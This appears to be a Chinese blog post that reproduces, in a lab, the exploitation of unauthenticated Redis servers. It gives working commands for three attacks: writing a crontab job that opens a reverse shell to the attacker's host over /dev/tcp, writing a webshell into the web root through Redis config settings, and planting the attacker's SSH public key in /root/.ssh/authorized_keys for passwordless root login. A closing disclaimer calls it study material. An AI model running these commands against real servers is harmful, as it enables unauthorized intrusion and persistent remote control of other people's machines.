• Redis未授权访问的三种利用方式


    简介

    Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。

    漏洞描述

    Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

    影响版本

    通用型漏洞

    测试环境

    下载官方redis压缩包到虚拟环境内,进行解压根据安装redis教程进行安装,最后解除绑定127.0.0.1,设置成无密码验证,安装apache服务器,开启web服务

    漏洞复现

    先使用命令redis-cli -h 192.168.137.140 -p 6379进行连接redis服务器,查看敏感信息,key和对应值

    1.使用命令Info查看敏感信息
    在这里插入图片描述

    2.使用命令keys *查看key和对应的值

    在这里插入图片描述

    因为当前的redis是刚创建的,所以没有东西

    然后在查看完敏感信息之后,就开始漏洞利用,主要分为三种方法:

    1.利用crontab反弹shell

    直接向靶机的Crontab写入任务计划,反弹shell

    set x "
    * * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1
    "
    config set dir /var/spool/cron/
    config set dbfilename root
    (中间返回error是因为没有使用root权限运行redis的缘故)
    

    在这里插入图片描述

    进行反弹,linux进行监听,但是监听了好大一会都没有监听到,查找文章,发现ubuntu下计划任务反弹shell需要注意两点,一是需要root权限,二是需要书写crontab计划的时候要将/bin/sh软链接到/bin/bash,当然我们也可以不修改软链接,可以直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以 ln -s -f /bin/bash /bin/sh 设置软链接
    但是ubuntu又发现了一个问题,在redis进行写入的时候发现计划中存在乱码,删除乱码
    最后等待一分钟就接受到反弹的shell了

    2.写入webshell

    先通过方法确定web的路径,然后通过类似上面的方法写入webshell

    set x "
    
    "
    
    config set /www/admin/localhost_80/wwwroot/
    
    Config set dbfilename shell.php
    

    使用蚁剑或者冰蝎等工具进行连接登录

    3.写ssh-keygen公钥登录

    先在攻击机上切换到root用户
    在攻击机中生成ssh公钥和私钥,密码设置为空
    ssh-keygen -t rsa
    一路默认就可以

    进入/root/.ssh目录下,将生成的公钥存入1.txt

    (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > 1.txt
    redis-cli -h 192.168.137.146
    

    更改redis备份路径为ssh公钥存放目录
    config set dir /root/.ssh
    设置上传公钥的备份文件名字为authorized_keys

    config set dbfilename authorized_keys
    save
    

    然后就可以再攻击机上使用ssh免密码登录靶机
    ssh -i id_rsa [ip]

    本文章仅供学习使用。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

  • 相关阅读:
    高精度减法
    java计算机毕业设计固定资产管理系统源码+mysql数据库+系统+lw文档+部署
    FCKeditor编辑器漏洞
    MySQL高阶---存储引擎、索引、锁
    Linux离线安装Mysql-5.7
    新测试人和转行测试的同学看过来 你需要知道的这几点
    Chapter3 Pytorch与机器学习有关函数(一)
    哪些企业可以做知识产权质押?
    nexus配置管理docker镜像
    Bootstrap5 表单
  • 原文地址:https://blog.csdn.net/m0_67402914/article/details/126596132